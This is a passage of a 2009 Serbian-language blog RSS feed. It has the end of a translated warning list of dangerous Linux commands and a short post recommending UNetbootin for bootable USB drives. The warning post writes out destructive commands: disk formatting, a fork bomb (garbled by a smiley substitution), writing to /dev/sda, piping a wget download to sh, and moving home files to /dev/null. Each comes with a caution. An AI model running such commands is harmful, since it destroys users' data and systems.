<p style="text-align: justify;"><em>Ovo je hex verzija prve komande.</em></p>
<p style="text-align: justify;"><strong>3.Komanda</strong></p>
<p style="text-align: justify;">
<pre class="brush: xml;">mkfs.ext3 /dev/sda</pre>
<p style="text-align: justify;"><em>Ova komanda će formatirati i obrisati sve podatke sa Vašeg HDD-a.</em></p>
<p style="text-align: justify;"><strong>4.Komanda</strong></p>
<p style="text-align: justify;">
<pre class="brush: xml;"> <img src='http://www.stefanjocic.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</pre>
<p style="text-align: justify;"><em>Ova komanda je poznata i kao “forkbomb” , inače ova komanda će narediti vašem sistemu da izvršava veliki broj procesa sve dok se vaš sistem ne zablokira.</em></p>
<p style="text-align: justify;"><strong>5.Komanda</strong></p>
<p style="text-align: justify;">
<pre class="brush: xml;">any_command &gt; /dev/sda    </pre>
<p style="text-align: justify;"><em>Sa ovom komandom ćete izgubiti većinu vaših podataka</em></p>
<p style="text-align: justify;"><strong>6.Komanda</strong></p>
<p style="text-align: justify;">
<pre class="brush: xml;">wget http://neki_nepoverljivi_izvor -O- | sh  </pre>
<p style="text-align: justify;"><em>Nikada nemojte skidati fajlove iz neproverenih izvora. Moguće da je u pitanju neki korpumpirani fajl.</em></p>
<p style="text-align: justify;"><strong>7.Komanda</strong></p>
<p style="text-align: justify;">
<pre class="brush: xml;">mv /home/vaš_user/* /dev/null   </pre>
<p style="text-align: justify;"><em>Ovom komandom ćete sve vaše fajlov iz home direktorijuma prebaciti na nepostojeću lokaciju i time ih nepovratno izgubiti.</em></p>
<p style="text-align: justify;">Ovo nije kompletan spisak opasnih komandi…zato budite obazrivi!</p>
<p style="text-align: justify;">Ovo je prevod originalnog teksta http://www.junauza.com/2008/11/7-deadly-linux-commands.html</p>

<div style="float:right;margin:0px 0px 10px 0px;"><a title="Post on Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" data-url="http://www.stefanjocic.com/2009/05/15/7-%e2%80%9csmrtnih%e2%80%9d-linux-komandi/"></a><script type="text/javascript" src="http://www.google.com/buzz/api/button.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.stefanjocic.com/2009/05/15/7-%e2%80%9csmrtnih%e2%80%9d-linux-komandi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Linux USB Boot</title>
		<link>http://www.stefanjocic.com/2009/02/21/linux-usb-boot/</link>
		<comments>http://www.stefanjocic.com/2009/02/21/linux-usb-boot/#comments</comments>
		<pubDate>Sat, 21 Feb 2009 15:21:31 +0000</pubDate>
		<dc:creator>Stefan J.</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[boot]]></category>
		<category><![CDATA[burning]]></category>
		<category><![CDATA[cd]]></category>
		<category><![CDATA[instaliranje]]></category>
		<category><![CDATA[installing]]></category>
		<category><![CDATA[iso]]></category>
		<category><![CDATA[os]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false">http://www.stefanjocic.com/?p=9</guid>
		<description><![CDATA[Jedna od najboljih stvari u Linuxu jeste što je korisnik sasavim slobodan u njemu, jedino je poznavanje istog granica. Kao što znate postoji puno distribucija Linux operativnog sistema, i većina ljudi se trudi da nađe pravu distribuciju za sebe. Svaki korisnik polazi od toga da proba nekoliko distribucija. Posle skidanja .iso fajlova sa interneta problem [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.stefanjocic.com%252F2009%252F02%252F21%252Flinux-usb-boot%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Linux%20USB%20Boot%22%20%7D);"></div>
<p style="text-align: justify;">Jedna od najboljih stvari u Linuxu jeste što je korisnik sasavim slobodan u njemu, jedino je poznavanje istog granica. Kao što znate postoji puno distribucija Linux operativnog sistema, i većina ljudi se trudi da nađe pravu distribuciju za sebe. Svaki korisnik polazi od toga da proba nekoliko distribucija. Posle skidanja .iso fajlova sa interneta problem je sve te diskove narezati (pojedine distribucije se sastoje od više instalacionih cd/dvd medijuma) što može definitivno biti neisplativo rezati. Naravno ima rešenja, a to je UNetbootin. UNetbootin je mali i besplatan program koji Vam dozvoljava da bez ikakve muke od .iso linux medijuma napravite butabilnu kopiju linux-a na USB Flash memoriju. Sve što trebate da uradite jeste da izaberete ime željene distribucije, verziju distribucije, i da izaberete lokaciju .iso linux medijuma. Posle toga ubacite USB Flash memoriju i sačekate da se proces kopiranje linux fajlova na USB Flash memoriju završi.</p>
<p style="text-align: center;">UNetbootin</p>
<p style="text-align: center;">Zvanična stranica i download mirror UNetbootin-a se nalazi na http://unetbootin.sourceforge.net</p>

<div style="float:right;margin:0px 0px 10px 0px;"><a title="Post on Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" data-url="http://www.stefanjocic.com/2009/02/21/linux-usb-boot/"></a><script type="text/javascript" src="http://www.google.com/buzz/api/button.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.stefanjocic.com/2009/02/21/linux-usb-boot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
